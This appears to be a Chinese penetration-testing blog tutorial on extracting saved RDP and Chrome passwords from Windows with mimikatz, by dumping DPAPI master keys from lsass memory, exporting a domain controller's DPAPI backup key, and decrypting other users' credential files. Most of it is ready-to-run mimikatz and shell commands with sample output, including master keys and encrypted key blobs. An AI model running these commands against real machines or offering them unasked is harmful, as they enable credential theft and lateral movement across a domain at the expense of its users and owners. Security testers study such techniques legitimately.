利用mimikatz查看rdp连接密码【渗透测试】
0x00 概述
在使用 rdp 時會發現系統有保存連接密碼的功能,一定在本地以一種加密方式保存,在連接的時候解密進行rdp嘗試,那么我們能不能那到加密的密碼解密以獲取這臺機器rdp連接過的機器呢?
0x01 流程
“AppData\Local\Microsoft\Credentials\XXX”? -->> GUID(guidMasterKey)? -->> 通過?sekurlsa::dpapi 對比GUID拿到Masterkey -->> mimikatz 通過 “AppData\Local\Microsoft\Credentials\XXX” 和 masterkey 解密秘鑰。
0x02 方法
首先使用cmdkey /list來查看是否有保存的憑據密碼信息??梢员4鎟dp憑據,ssh憑據等連接憑據。
如果沒有:
有些環境可能有很多的憑據信息:
例如:
當前保存的憑據:目標: Domain:target=TERMSRV/192.168.100.52類型: 域密碼用戶: admin本地機器持續時間目標: LegacyGeneric:target=Adobe User Info(Part2)類型: 普通 用戶: User DT本地機器持續時間目標: LegacyGeneric:target=TERMSRV/172.16.1.246類型: 普通 用戶: administrator本地機器持續時間目標: Domain:target=TERMSRV/192.168.100.42類型: 域密碼用戶: admin本地機器持續時間目標: LegacyGeneric:target=TERMSRV/10.10.40.53類型: 普通 用戶: lmrsec\tony本地機器持續時間目標: LegacyGeneric:target=Adobe User Info(Part1)類型: 普通 用戶: User DT本地機器持續時間目標: LegacyGeneric:target=TERMSRV/192.168.100.45類型: 普通 用戶: administrator本地機器持續時間目標: LegacyGeneric:target=Adobe User OS Info(Part1)類型: 普通 用戶: User OS Info本地機器持續時間目標: LegacyGeneric:target=TERMSRV/172.16.1.134類型: 普通 用戶: administrator本地機器持續時間目標: LegacyGeneric:target=TERMSRV/192.168.100.46類型: 普通 用戶: administrator本地機器持續時間目標: LegacyGeneric:target=TERMSRV/10.10.40.54類型: 普通 用戶: LMRSEC\lmr本地機器持續時間 目標: LegacyGeneric:target=TERMSRV/172.16.1.124類型: 普通 用戶: administrator本地機器持續時間目標: LegacyGeneric:target=TERMSRV/10.10.20.123類型: 普通 用戶: pc本地機器持續時間目標: LegacyGeneric:target=TERMSRV/10.10.40.100類型: 普通 用戶: lmrsec\tony本地機器持續時間目標: LegacyGeneric:target=TERMSRV/10.10.40.55類型: 普通 用戶: LMRSEC\tony本地機器持續時間 目標: LegacyGeneric:target=TERMSRV/10.10.40.62類型: 普通 用戶: MEC0\administrator本地機器持續時間 目標: Domain:target=192.168.1.94類型: 域密碼用戶: LEE-PC\admin目標: Domain:target=10.0.0.152類型: 域密碼用戶: LEE-PC\administrator 目標: LegacyGeneric:target=chia-user-chia-1.8類型: 普通 用戶: wallet-user-chia-1.8-0 目標: Domain:target=PIG類型: 域密碼用戶: LEE-PC\admin使用命令:dir /a %userprofile%\AppData\Local\Microsoft\Credentials 來查看保存憑據的目錄和憑據的值
接下來就一個一個實驗吧,因為這個下面是憑據的值,不一定哪一個是你要的,需要寫工具批量查嘍。
例如:
mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit >a.txt mimikatz(commandline) # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D **BLOB**dwVersion : 00000001 - 1guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}dwMasterKeyVersion : 00000001 - 1guidMasterKey : {fe6b8194-8763-4328-a189-23815ffc11bc}dwFlags : 20000000 - 536870912 (system ; )dwDescriptionLen : 00000012 - 18szDescription : 本地憑據數據algCrypt : 00006603 - 26115 (CALG_3DES)dwAlgCryptLen : 000000c0 - 192dwSaltLen : 00000010 - 16pbSalt : 67ac51d78138d3bb51ed1c07b1bc17a7dwHmacKeyLen : 00000000 - 0pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1)dwAlgHashLen : 000000a0 - 160dwHmac2KeyLen : 00000010 - 16pbHmack2Key : 8f18a25d233beb6c1fb8985285fc14d7dwDataLen : 00002a10 - 10768pbData : f8499588628921158b20b343b3f887ece87192f1a6f0d00fd223f1b001fa55c6feeb......記住 guidMasterKey? ?{fe6b8194-8763-4328-a189-23815ffc11bc}
mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt在b.txt中找?{fe6b8194-8763-4328-a189-23815ffc11bc} 對應的MasterKey
Authentication Id : 0 ; 568702 (00000000:0008ad7e) Session : Interactive from 1 User Name : administrator Domain : LMRSEC Logon Server : AD Logon Time : 2022/9/22 14:14:42 SID : S-1-5-21-4175578073-168413485-1140492047-500[00000000]* GUID : {ef3e71aa-6279-4999-9c2d-cbb67f71eb3f}* Time : 2022/9/22 14:16:03* MasterKey : 6a58ad5cfa0d10fb3fd8ea9647eace29481338b7bc23c6d485780be9a136276840e601be86c6d84586948f93d83bf4bc7c2063a51f74b91afd1c2b3eb1d28cf6* sha1(key) : e500f8e3977bac36b4eb56ebea93d222bd1e748c[00000001]* GUID : {fe6b8194-8763-4328-a189-23815ffc11bc}* Time : 2022/9/22 14:15:05* MasterKey : 57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0* sha1(key) : eb92f311be6e846c0ae0241a332dd28415048e0a[00000002]* GUID : {17a3b3a5-41f6-4809-adb4-20f255db4e2b}* Time : 2022/9/22 14:16:51* MasterKey : eacdf11ecd0a819bc619e378292a873d994313be95d8aa9bab5924df98f389d93274c2fc9f532afcfc0dca7b19e1d70aca65887a2e26ac1983f45dd555345825* sha1(key) : 7c09ddedde899693c19e66b1e8b918beb42bb15f mimikatz 讀取密碼:mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D /masterkey:57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0" exit>c.txtUserName就是賬戶,CredentialBlob? 字段值是解密后的密碼,如果是空,就嘗試?Credentials? 目錄下其他憑據的值。(畢竟滲透也是個苦力活...)
Decrypting Credential:* masterkey : 57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0 **CREDENTIAL**credFlags : 00000030 - 48credSize : 00002a0e - 10766credUnk0 : 00000000 - 0Type : 00000001 - 1 - genericFlags : 00000000 - 0LastWritten : 2022/7/10 13:00:32unkFlagsOrSize : 00000000 - 0Persist : 00000002 - 2 - local_machineAttributeCount : 00000020 - 32unk0 : 00000000 - 0unk1 : 00000000 - 0TargetName : WindowsLive:target=virtualapp/didlogicalUnkData : (null)Comment : PersistedCredentialTargetAlias : (null)UserName : 02qfntekitrtCredentialBlob : Attributes : 32**ATTRIBUTE**Flags : 00000000 - 0Keyword : Microsoft_WindowsLive:authstate:0Value : 01 00 00 00 d0 8c 9d df 01 15 d1 11 8c......實際滲透中可以將?Credentials目錄和?lsass.exe 的內存文件保存到本地。
我一般會優先破解近期訪問的連接。 例如,2022/09/22 13:41 這個近期的連接,我們嘗試破解一下:
mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336" exit|findstr guidMasterKey" exit?從剛剛導出的??sekurlsa::dpapi 查找 GUID 對應的 MasterKey:
mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336 /masterkey:5823ca8c268bb7b96a52c3cf21e3d47c453be443e1ed8acbeee4813785c030f9bb765447c6c4e8e735726871c57b5d361bcfa1507cedc0a11850995ab199843a" exit?
進一步的,想知道windows保存了哪些憑據,那些沒保存,使用命令:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s?如果沒保存密碼,結果如下:
如果保存了,如下:
導出windows密碼技巧總結_滲透測試中心的博客-CSDN博客
?
0x03 破解瀏覽器憑據
其他憑據,如web瀏覽器憑據:
dir /a "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Login Data"
?都是用?dpapi 加密的。
解密本地瀏覽器憑據:
mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotectchrome 80以前是直接可以通過dpapi去解密的,80以后變成AES了,所以需要指定一下/encryptedkey參數,這個參數內容是在Chrome/User Data/Local State這個文件里,這是個json文件,搜里面的encrypted_key,這個參數就是加密的密鑰,指定之后就可以成功解密保存的密碼了
mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAcNoSWcBg/SJyGPdAHkODAAAAAAAIAAAAAAANmAADAAAAAEAAAAA7YX8gUf3+tiMFkL6W6I1gAAAAABIAAAKAAAAAQAAAALPfk2cUfKSaXWrBO+q1sTSgAAACTT3f5PFH6LsG0F+KFyPyYjzVwPar8ePO2I/Tgi3/SVNyx+XxlXi8eFAAAAC6DyST9L+EPyq4tGdXLOARW0dvW" exit?如果你不滿足于只接觸當前lmr用戶的瀏覽器憑據,也想拿域內其他機器的瀏覽器憑據,那么要滿足幾個條件:管理員權限,拿到2個文件 Local State + Login Data + masterkey
例如lmr用戶想crack tony用戶的瀏覽器憑據,需要拿到tony用戶下的?Local State 和 Login Data 文件,分別在 "%localappdata%\Google\Chrome\User Data\Local State" 和 "%localappdata%\Google\Chrome\User Data\Default\Login Data"目錄。
具體操作如下:
mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+" exit?會提示去GUID找masterkey,GUID的生成導出上文已經介紹過了,具體命令是:
mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt?找到 GUID: {e50897bb-0a4e-413c-89fd-140dcaaf6814} 對應的masterkey:
?再次crack:
mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+ /masterkey:4faab22310c7db06402aca7b8aef779dc67549da6c0aeb9ca0ffd052b1e58740b650ac4931551ba1aed78f11784735ac06d6989dbb33e297cab6294e9502479a" exit?0x04 域內獲取masterkey的其他思路
使用域備份密鑰解密受害主機的主密鑰
需要三步:
1. 導出域控pvk文件
mimikatz.exe "lsadump::backupkeys /system:AD /export" exit?
** /system: 后面填寫域控機器名,否則會找不到DC,報錯,例如:
?微軟的那個錯誤代碼搜索源碼錯誤位置:
?2.通過pvk得到GUID的masterkey (需要什么GUID就用誰的GUID去導出)
mimikatz.exe "dpapi::masterkey /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4175578073-168413485-1140492047-500\8bb03b74-9c66-4a30-852c-b45d3c99bb79 /pvk:ntds_capi_0_9876a14a-13b0-49a3-b2c1-466e7432ea02.keyx.rsa.pvk" exit >a.txt?在導出文件最后的key字段里:
?3.同上文0x03,使用mimikatz 破解rdp或瀏覽器憑據。
0x05 后記
試著導出了自己筆記本的瀏覽器憑據,竟然有50KB之多,可見自己之前的上網習慣是不太好的。
導出的文件一共1731行,前392行是含有憑據信息的,后面的保存了訪問過的需要憑證的網站信息。
0x06 reference
https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz
使用 MimiKatz 讀取 DPAPI 加密密鑰的幾種方式 - 先知社區? ?(上文翻譯)
Mimikatz抓取密碼分析 - hixiaoai - 博客園
總結
以上是生活随笔為你收集整理的利用mimikatz查看rdp连接密码【渗透测试】的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 计算机基础知识论文统一格式,大一计算机基
- 下一篇: UDP聊天室(代码)